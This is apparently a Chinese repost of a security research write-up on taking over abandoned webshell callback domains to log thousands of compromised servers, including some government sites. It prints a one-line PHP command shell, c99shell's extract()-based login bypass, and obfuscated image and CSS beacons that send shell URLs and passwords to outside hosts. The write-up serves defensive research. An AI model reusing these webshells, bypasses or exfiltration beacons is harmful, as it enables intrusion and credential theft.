【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

admin 2025年1月9日10:06:53评论21 views字数 9630阅读32分6秒阅读模式

原文太啰嗦了,有修改。想看原文,链接在末尾。

感觉像是国内有大量 webshell 未被清理干净。现在貌似'安全'了,过期域名都被国外安全公司重新注册,并将流量引到黑洞里面了。

看到 watchtowr做实验的痕迹了。现在那些域名的流量应该是全部被引到黑洞 ip里面了🐶

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

我们这次的方向依然是过期和被遗弃的基础设施——但这次有点小变化。今天,我们将带你走进我们称之为“自动化的批量入侵”的冒险之旅。

想象一下,你想要访问成千上万的系统,但又不想费心去识别和入侵这些系统——或者不想弄脏自己的手。

相反,你接管了常用后门中被遗弃的后门,从而“窃取”他人努力的成果,让你能够像那些费心识别入侵机制并实施入侵的人一样,访问被入侵的系统。零努力,同样的结果——只需一个域名的价格。

简单来说——我们一直在劫持那些依赖现已废弃的基础设施和/或过期域名的后门,这些后门本身存在于其他后门中,之后我们看着结果如潮水般涌来。这种劫持让我们能够追踪到“报告”的被入侵主机,并理论上让我们能够接管和控制这些被入侵的主机。

在超过4000个独特且活跃的后门之后(这个数字还在不断增长),我们认为这项研究永远不会结束,分享当前的结果会很有趣。

给读者的提示:我们有意模糊了被入侵的主机名,我们发布这项研究并不会让任何系统面临额外的风险。

在这4000多个独特且活跃的后门中,我们看到了一些有趣的系统:

  • 多个被入侵的政府
    • 孟加拉国
    • 中国
    • 尼日利亚
  • 泰国、中国、韩国等地的被入侵大学/高等教育机构
  • 当然,还有更多(到目前为止,我们已经记录了超过300MB的日志需要梳理)。

被遗弃和过期的基础设施——基本上让我们以几个(再次)20美元的域名价格,获得了“理论上”免费访问数千个系统的权限。

好吧,但你们到底在说什么?

正如我们在各种犯罪团伙和勒索软件组织的崩溃中所看到的那样——犯罪分子也是“人”,他们也会犯一些看似(并且在事后看来)简单的错误。

任何熟悉“黑客场景”历史的人都会带着恐惧和怀旧的心情看待这一点——自黑客诞生以来,黑客们就一直在互相攻击,既为了利益,也为了乐趣。有一种普遍的看法(并有大量证据支持)认为,黑客在保护网络方面通常表现得很糟糕。

Web Shells

作为历史的简要回顾,我们想提供一下背景。所以让我们来谈谈Web Shells。

Web Shells实际上是——在成功入侵后部署到Web服务器上的代码片段,作为后门,允许进行通常的入侵后活动。

这是一个相当简单的概念,这篇博客文章并不是为了成为一门ELI5计算机科学课程。Web Shells有各种形式:

  • 简单的、基础的Shell——只是执行命令的东西,比如古老的<?php system($_GET['exec']);?>
  • 功能齐全、花里胡哨的Shell
    • c99shell
    • r57shell
    • 中国菜刀(据称由中国APT组织使用)(译注:谁还用菜刀啊?你用吗?我反正是不用🐶)
    • 以及数千种其他变体

c99shell和r57shell可能会让许多人产生闪回,因为这些臭名昭著且广泛使用的Web Shell曾被每个脚本小子用来学习他们能在互联网冒险中走多远(显然是在他们的家庭实验室中,从未针对JPL)。

以下是r57shell,由http://rst.void.ru发布。请注意,我们从互联网上获取了这些截图(明确地说,它们不是我们自己的)。

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

这是另一个Shell,c99shell(由ccteam.ru发布),具有类似的功能。

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

如你所见,这些Shell拥有现代攻击者所需的一切,包括:

  • 命令执行功能
  • 文件管理(删除、修改、上传、移动、重命名等)
  • 代码执行功能
  • 自删除功能
  • 后门部署(反向连接、绑定Shell等)
  • FTP暴力破解功能
  • SQL客户端

基本上,如果你有需求,这些Shell都能满足。它们本质上是2024年你用于远程管理的工具的改进版(但基于HTTP,并且有更好的ASCII艺术)。

黑吃黑

然而,鲜为人知的是,这些Shell通常被后门化,以允许黑客入侵黑客。

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

这里有一个例子。在r57shell的原始未修改版本中,我们可以找到以下代码:

if (!in_array($addr[0], $serv)) {
@print "<img src="http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_version."" border=0 height=0 width=0>";
@readfile ("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}}  
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>';
echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";

这段代码生成了一个大小为零的HTML <img>标签,从‘rst.void.ru’(r57shell创建者拥有的域名)获取文件,显然是为了将当前使用的Shell版本字符串发送给脚本维护者。看起来挺无辜的,对吧?

但实际上,这通过HTTP请求的referrer头将新部署的Web Shell的位置泄露给了rst.void.ru的所有者——因此,在你花了几个小时入侵目标后,你刚刚将你新获得的Shell交给了比你更聪明的人——可以说是更大的鱼。

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell
食物链是存在的,希望你明白了

我是安全专业人士,我总是配置认证

很多Web Shell都带有密码保护,允许攻击者限制访问权限,只允许自己访问。但惊喜的是——这些后门的一个常见功能是允许Web Shell的原始作者(除了当前攻击者)使用“万能钥匙”访问任何运行该Web Shell的主机。

一个很好的(历史)例子是上面提到的c99shell后门。虽然这不是什么新鲜事,已经讨论了很多年——但我们在这里详细说明是为了提供背景,希望能描绘出一个清晰的画面。

自己看看吧……

$login = ""; //登录名
$pass = ""; //密码
$md5_pass = ""; //md5加密的密码。如果为空,则使用md5($pass)

...

@extract($_REQUEST["c99shcook"]);

...

 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
 ...
  header("WWW-Authenticate: Basic realm="c99shell ".$shver.": ".$login_txt.""");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}

乍一看,这很简单。登录名和密码在代码顶部硬编码(攻击者在部署Shell之前应自定义)在pass变量中。

稍后,一个典型的比较PHP_AUTH_USERPHP_AUTH_PW进行身份验证检查,如果不匹配则退出。看起来很普通,对吧?

但那个看似无害的@extract呢?根据php.net,这个函数在不可信数据上使用并不“安全”。

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

extract函数旨在有效地以键/值对的形式获取输入,然后使用它们覆盖当前作用域中的变量。

这意味着,针对犯罪分子的犯罪分子可以简单地提供一个c99shcook请求参数(GET或POST),其中包含一个名为md5_pass的变量,其值设置为自己的密码,login设置为选择的用户名。这将覆盖硬编码的凭据变量,并允许“更大的鱼”攻击者满足身份验证。

我们能否将自己置于其中一些后门中,并增加我们的“非官方系统管理员”职责?

剧透:答案是肯定的。

调整了一些内部代码后,我们开始了任务——收集尽可能多的Web Shell(无论语言、目标或年龄),解混淆任何受base64保护的代码,并提取可能用于某些回调功能的未注册域名。

然后我们将其连接到AWS Route53 API,并批量购买。说实话,20美元而已。

朋友们——我们注册了40多个域名,并开始搭建基础设施。以下是一些例子:

Shell名称 引用的域名
~神秘未知~ 6634596.com
marion001.php aljazeera7.com
~神秘未知~ alturks.com
~神秘未知~ caspian-pirates.org
EgY_SpIdEr ShElL V2 csthis.com
~神秘未知~ dcvi.net
NetworkFileManagerPHP drakdandy.net
Shell [ci] . Biz emp3ror.com
PHPJackal flyphoto.us
Kodlama guerrilladns.com
Predator h0ld-up.info
dhie-Q fx29sh v1 06.2008 h4cks.in
Nix远程Web Shell hackru.info
iMHaBiRLiGi imhabirligi.com
iMHaBiRLiGi nettekiadres.com
Ajax/PHP命令Shell ironwarez.info
ASP一句话客户端< jbl86.com
SyRiAn Sh3ll V7 library-ar.com
RedHat Hacker ll4best.com
r57shell localshell.net
Locus7Shell Modified by #!physx^ locus7s.com
星外-华众-新网-虚拟主机提权专用Webshell love-1-love.com
解包unpack.vbs lpl38.com
传说中的草泥马4.0.asp odayexp.com
Locus7s Modified c100 Shell precision-gaming.com
c99 rootshell-security.net
SimAttacker shellci.biz
c99_w4cking templatez.org
~神秘未知~ w2img.com
r57gentr dQ99Sh waterski21.com
get.php yywjw.com

有了通配符TLS证书、自动配置的Apache Web服务器,我们将新域名指向我们的日志服务器,该服务器除了记录传入请求外什么都不做,然后返回404。

在观众中的极客开始对我们大喊大叫之前,我们在这里非常小心地保持在法律范围内——这些请求是发送给我们的,我们没有操纵系统与我们通信,当然也没有响应要评估的代码。

虽然我们有大量的数据,逐一梳理会让人感到乏味,但我们想强调一些有趣的事情:

你好,朝鲜?

我们看到了什么?首先,我们看到有人扮演Lazarus Group,也就是APT37,也就是朝鲜。考虑到目标,我们不太可能抓到Lazarus,但我们可能看到了一些攻击者,他们正在重新利用Lazarus使用的APT级工具来达到自己的目的。

看看以下传入的请求:

img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 202.146.[redacted] 485 "http://www.[redacted].com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
img2.w2img.com/midia_img/0f000cbW0BuDik7If87T3s.gif 35.206.[redacted] - 404 466 "http://[redacted].cn/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif 103.170.[redacted] - 404 466 "http://www.[redacted].net/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"

我们看到了数千个这样的请求,从我们的日志服务器获取一个.gif图像。但它们代表什么?

嗯,我们能够找到生成这些请求的后门样本。它似乎是Lazarus在2020年使用的一个版本的变体。

如果我们仔细看看这个后门,并去掉一些混淆,我们可以看到信标URL,从我们的服务器获取一个.gif图像:

.menu{background:url(http://img2.w2img.com/midia_img/0f000cegVDnfw03Y33y936.gif);}

这是一行CSS,指定“菜单”样式应从给定的URL获取背景图像。加载页面时,Web浏览器将尝试从w2img.com服务器获取指定的.gif文件。

细心的管理员(我们!)正在密切关注日志,并注意到这个请求——最终的效果是通知我们Web Shell已正确部署和访问,并通过referrer泄露了被入侵域名的面板URL。

注意:仅在referrer中泄露域名是相对较新的浏览器更改,确实,使用旧浏览器的攻击者向我们发送了完整的Shell URL。

我们仅从这个后门就看到了超过3900个独特的被入侵域名——显然,这是一个非常流行的工具。

.GOV总是近在咫尺

浏览我们referrer中的高价值域名结果时,以下内容像闪亮的灯塔一样脱颖而出:

host# grep "\.gov" referrers | sort -u
http://www.[redacted].gov.cn/   不想说啥了,自己看域名吧,这不得有瓜?
https://fhc.gov.ng/
http://[redacted].court.gov.cn  不想说啥了,自己看域名吧,瓜?
http://[redacted].gov.bd

呃,好吧!fhc.gov.ng是尼日利亚联邦高等法院。

从下面的日志中可以看出,这涉及4个不同的后门——因此,4个不同的Web Shell负责捕获这些信息(通过发送到4个不同域名的请求来证明)。

[[redacted]  0000] http://img2.w2img.com:80/midia_img/0f000cegVDnfw03Y33y936.gif 175.176.[redacted] - 404 522 'http://www.[redacted].gov.cn/' 'Mozilla/5.0 (iPhone; CPU iPhone OS 17_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1'
[[redacted]  0000] http://www.nettekiadres.com:443/imhabirligi.jpg 58.97.[redacted] - 404 3108 'https://fhc.gov.ng/' 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'
[[redacted]  0000] h0ld-up.info:80/index.html 103.111.[redacted] - 200 342 "http://[redacted].gov.bd/[redacted].php" "Opera/10.61 (Linux i686; U; en-US) Presto/6.1.88 Version/2.2"
[[redacted]  0000] http://www.lpl38.com:443/post/http:/[redacted].court.gov.cn 117.136.[redacted] - 404 867 '-' 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36 EdgA/117.0.2045.53'

我们家里的Cisco

自然,我们在数据集中寻找任何高价值目标。我们发现了以下内容,这让我们不禁多看两眼:

img2.w2img.com:80/midia_img/0f000cegVDnfw03Y33y936.gif 110.66.[redacted] - 404 522 "http://www.ciscosoft.com.cn/[redacted].asp" 

ciscosoft.com.cn?!我们有些欣慰地发现,这与美国软件巨头Cisco没有任何关系。

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell
【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

给我一切

当我们浏览数据时,我们开始看到另一种类型的后门在回调——这种后门比加载图像文件并依赖referrer头泄露位置要明确得多。具体来说,我们开始看到一些功能,这些功能会回调到实际的日志记录功能,并在参数中包含特定信息。

例如,以下内容(这是许多此类逻辑实现之一):

www.odayexp.com:80/sx/key.asp?url=http%3A%2F%2F[redacted]%2Frequest%2FCelebByConsortiaDayRiches%2Easp&p=[redacted] 43.230.[redacted] - 404 523 "<http://220.167>.[redacted]:89/[redacted].asp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Core/1.116.454.400 QQBrowser/13.2.6135.400"

这立即引起了我们的兴趣——不仅提供了Web Shell的URL,还包含了一个“神秘的”p参数。

这里发送了什么?首先,让我们看看referrer中的URL。

它又是一个Web Shell,但这次有一个密码:

【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell
Image 31

要弄清楚p代表什么,我们需要看看Web Shell背后的代码。它是用ASP编写的,相关部分如下:

<img src='ht"&"tp://%77%77%77.od"&"ay"&"exp.%63%6F%6D/s"&"x/ke"&"y.asp"&"?url="&server.URLEncode("ht"&"tp://"&request.ServerVariables("HT"&"TP_HO"&"ST")&request.ServerVariables("UR"&"L"))&"&p="&UserPass&"' />

如你所见,它被轻度混淆了。一旦我们去掉混淆,剩下的就是:

<img src='<http://www.odayexp.com/sx/key.asp?url=>" & \
 server.URLEncode("http://" & request.ServerVariables("HTTP_HOST") & request.ServerVariables("URL")) & \
 "&p="&UserPass&"'
 />

这段代码再次嵌入了一个图像,从我们的日志服务器www.odayexp.com获取它。我们可以看到p参数是如何组成的——它只是UserPass变量。惊喜惊喜——这是登录Web Shell所需的密码。

所以总结一下——攻击者试图通过要求密码来保护他们的Web Shell安装,但Web Shell被后门化到将密码(明文!)传输到日志服务器odayexp的程度,该服务器现在由watchTowr拥有。

这个攻击者在保护他们的Web Shell方面得了半分。但以明文形式向我们发送密码?这真的不在“最佳安全实践”列表中。

另一件有趣的事情是,如果我们回头看我们的日志,我们再次看到攻击者似乎在修改和玩弄这个功能——但仍然将数据发送到他们不控制的系统?

www.odayexp.com:80/sx/key.asp?url=”server.urlencode
www.odayexp.com:80/sx/key.asp?url=http://192.168.66.134
www.odayexp.com:80/sx/key.asp?url=http://192.168.66.140/fk.asp
www.odayexp.com:80/sx/key.asp?url=http://localhost/test/fuccck.asp
www.odayexp.com:80/sx/key.asp?url=http://localhost/test/fuccck.asp&p=admin

好吧,就这样吧。

入侵。这个。星球。

虽然这对许多人来说(对我们也是)是一次怀旧之旅——我们的观点是,随着互联网的老化,以及我们开始真正理解被遗弃和过期基础设施的影响范围,我们很可能会看到类似的问题继续存在。

以前,它是一个过期域名,曾经用作支持全球TLD的WHOIS服务器。今天,它是后门中使用的域名。接下来是什么——软件更新基础设施和SSLVPN设备的自动扩展云基础设施?那将是很疯狂的。

虽然值得注意的是,我们观察到的Shell主要偏向中国目标(可能反映了我们的样本数据集),但我们也不愿根据源IP地址得出结论(考虑到代理的便利性)。也就是说,我们注意到来自香港和中国IP地址空间的攻击者流量(或者可能是网站管理员的非常奇怪的选择)有很强的偏向。

到目前为止,我们已经发现了超过4000个被入侵的系统(其中三四个是被入侵的.gov系统)。这个数字还在不断上升。

与我们之前的.MOBI研究类似,我们的担忧始终围绕着我们发现自己承担的责任。出于同样的原因,这项研究和.MOBI研究得以存在,如果我们像之前的所有者那样让这些域名过期,我们将犯下完全相同的基础设施草率处置的错误。我们非常感谢The Shadowserver Foundation的支持,他们再次同意拯救我们免于风险之中,并接管这项研究中涉及的域名并将其清理。

  • 情报来源:https://labs.watchtowr.com/more-governments-backdoors-in-your-backdoors/

原文始发于微信公众号(独眼情报):【有瓜】通过注册失效的反连域名来控制被遗忘的 webshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日10:06:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【有瓜】通过注册失效的反连域名来控制被遗忘的 webshellhttps://cn-sec.com/archives/3609405.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息